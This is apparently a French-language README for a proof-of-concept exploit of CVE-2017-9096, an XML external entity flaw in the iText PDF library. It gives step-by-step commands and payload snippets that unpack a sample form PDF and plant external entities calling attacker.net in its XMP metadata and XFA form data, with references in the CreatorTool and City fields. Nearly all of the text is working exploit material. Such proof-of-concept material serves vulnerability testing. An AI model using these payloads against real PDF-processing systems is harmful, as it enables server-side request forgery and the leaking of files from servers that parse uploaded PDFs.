
Preuve de concept d'exploitation pour CVE-2017-9096 démontrant une injection XML External Entity (XXE) dans la bibliothèque PDF iText via des métadonnées XMP et des champs de formulaire malveillants.
Obtenez un PDF contenant un formulaire :
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf
Pour cela, vous devez décompresser le PDF avec qpdf --qdf --object-streams=disable input.pdf output.pdf, puis vous pouvez modifier le PDF avec un éditeur de texte et ajouter du XML malveillant.
Vous pouvez placer une XEE dans les métadonnées XMP à la ligne 77 :
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">
Et bien sûr, ajoutez aussi la référence à un endroit, par exemple à la ligne 88 :
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>
Vous pouvez également ajouter une XXE courante au fichier. Voyez cette partie dans le document original (elle commence à la ligne 740) :
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
Remplacez-la par ce qui suit :
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
Ensuite, ajoutez simplement la référence à un endroit, par ex. dans le champ Ville (ligne 1845 du document décompressé original). Remplacez ceci :
<text
>City:</text
></value
>
Par ceci :
<text
>City:</text
><xxe>&xxe;</xxe></value
>
Vous trouverez également dans ce dépôt le PDF modifié contenant les deux XXE (output_with_xxe.pdf)
Exécutez l'application Java pour tester le PDF avec mvn clean compile exec:java.